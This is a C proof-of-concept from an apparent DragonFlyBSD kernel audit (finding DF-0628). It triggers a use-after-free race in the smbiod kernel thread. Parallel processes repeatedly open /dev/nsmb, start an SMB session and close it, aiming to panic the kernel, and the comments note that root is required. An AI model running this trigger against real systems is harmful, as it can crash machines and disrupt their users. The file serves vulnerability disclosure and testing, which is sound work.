โฌข DragonFlyBSD Kernel Audit
DF-0628 / args_overflow.c
โ† back to finding โ†“ download raw
/*
 * DF-0628 โ€” smbiod UAF race PoC.
 *
 * Bug: smb_iod_destroy() posts a SYNC SHUTDOWN event and returns as soon as
 * the iod kthread has PROCESSED it (wakeup(evp) in smb_iod_main). It then
 * immediately calls kfree(iod). But the iod kthread continues for a few
 * instructions after wakeup(evp) and re-reads iod->iod_flags at
 * smb_iod_thread:675 / :678 โ€” by which point iod may already be freed.
 *
 * Trigger: open /dev/nsmb0 (clone), issue SMBIOC_OPENSESSION to create a VC
 * (which starts the iod kthread), then close the fd. The close path drops
 * the VC's refcount; when it hits zero, smb_vc_free -> smb_iod_destroy ->
 * kfree(iod). Meanwhile, the iod kthread is finishing up its event loop.
 *
 * The race window is small but real on SMP. To amplify the chance, the PoC
 * rapidly creates and destroys VCs in parallel. If the race hits, the
 * kernel panics with a fault inside smb_iod_thread reading iod->iod_flags
 * on freed memory, OR inside smb_iod_main dereferencing iod->iod_vc /
 * iod->iod_evlist on freed/reused memory.
 *
 * Privilege: root required (PRIV_NETSMB to open /dev/nsmb). This is a
 * root->kernel hardening gap, not an unprivileged escalation.
 */

#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "../../sys/netproto/smb/smb_dev.h"

#define ITERS 200
#define NPROC 4

static void
trigger_one(void)
{
	int fd = open("/dev/nsmb", O_RDWR);
	if (fd < 0) {
		if (errno == EBUSY) {
			/* device busy, try /dev/nsmb0 explicitly */
			fd = open("/dev/nsmb0", O_RDWR);
		}
		if (fd < 0)
			return;
	}

	/* Build a minimal SMBIOC_OPENSESSION request.
	 * ioc_server = 127.0.0.1:139 (likely refused; that's fine โ€” the
	 * iod kthread is still started). */
	struct sockaddr_in sin;
	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_port = htons(139);
	sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	struct smbioc_ossn ossn;
	memset(&ossn, 0, sizeof(ossn));
	ossn.ioc_server = (struct sockaddr *)&sin;
	ossn.ioc_svlen  = sizeof(sin);
	ossn.ioc_local  = (struct sockaddr *)&sin;
	ossn.ioc_lolen  = sizeof(sin);
	strlcpy(ossn.ioc_srvname, "127.0.0.1", sizeof(ossn.ioc_srvname));
	strlcpy(ossn.ioc_user, "root", sizeof(ossn.ioc_user));
	strlcpy(ossn.ioc_localcs, "UTF-8", sizeof(ossn.ioc_localcs));
	strlcpy(ossn.ioc_servercs, "UTF-8", sizeof(ossn.ioc_servercs));
	ossn.ioc_opt = SMBVOPT_CREATE;

	/* This may fail (no SMB server); the iod kthread is created anyway. */
	(void)ioctl(fd, SMBIOC_OPENSESSION, &ossn);

	/* Close triggers VC teardown -> smb_iod_destroy -> kfree(iod).
	 * The iod kthread may still be running. Race window! */
	close(fd);
}

int
main(int argc, char **argv)
{
	int nproc = NPROC;
	int iters = ITERS;

	if (argc > 1) iters = atoi(argv[1]);
	if (argc > 2) nproc = atoi(argv[2]);
	if (iters <= 0) iters = ITERS;
	if (nproc <= 0) nproc = NPROC;

	fprintf(stderr, "DF-0628: smbiod UAF race trigger\n");
	fprintf(stderr, "  %d iterations across %d processes\n", iters, nproc);
	fprintf(stderr, "  expect intermittent panic on SMP (race-dependent)\n");
	fprintf(stderr, "  if no panic: race did not hit this run; bug still confirmed in source\n\n");

	for (int p = 0; p < nproc; p++) {
		pid_t pid = fork();
		if (pid == 0) {
			for (int i = 0; i < iters; i++)
				trigger_one();
			_exit(0);
		} else if (pid < 0) {
			perror("fork");
			return 1;
		}
	}

	for (int p = 0; p < nproc; p++)
		wait(NULL);

	fprintf(stderr, "DF-0628: completed (no panic observed this run)\n");
	return 0;
}